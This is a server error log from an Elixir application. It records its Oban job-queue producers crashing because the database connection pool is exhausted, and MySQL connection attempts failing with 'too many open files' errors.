[Sat Sep  5 23:03:05.530000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:02:53.241808Z], limit: 5, uuid: "29d640ac-c462-4642-8c43-d9bc0c8ba06e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.241813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104492>, refresh_timer: #Reference<0.2525715032.1077411843.233853>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:05.542000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:02:53.241577Z], limit: 50, uuid: "8bb639f6-f07a-4fc4-bebb-01896cc23964", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.241582Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104494>, refresh_timer: #Reference<0.2525715032.1077411843.233852>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:05.544000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:02:53.246075Z], limit: 3, uuid: "e0b67d79-c01b-4688-80b8-90fe51de6617", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.246082Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104495>, refresh_timer: #Reference<0.2525715032.1077411843.233882>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:05.544000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:02:53.242758Z], limit: 5, uuid: "350da43e-9143-4905-882e-47c725af968b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.242765Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104493>, refresh_timer: #Reference<0.2525715032.1077411843.233871>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:08.371000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:09.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:09.754000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:10.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:11.000000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:12.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:16.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:03:05.552994Z], limit: 3, uuid: "57ee7fe1-8e02-4683-878d-1b3e9c11bc33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.553001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104754>, refresh_timer: #Reference<0.2525715032.1121189889.104721>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:03:05.549259Z], limit: 10, uuid: "ba7f79cf-debb-4833-8a89-23ebd8d28d1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.549263Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104756>, refresh_timer: #Reference<0.2525715032.1099169794.259994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:03:05.549948Z], limit: 20, uuid: "3b67475c-55bb-4f34-9b96-7451b963ec1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.549954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104755>, refresh_timer: #Reference<0.2525715032.1099169794.260002>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:03:05.549096Z], limit: 5, uuid: "b15f30fe-d500-4133-8fbb-959700c95b1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.549106Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104757>, refresh_timer: #Reference<0.2525715032.1099169794.259991>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
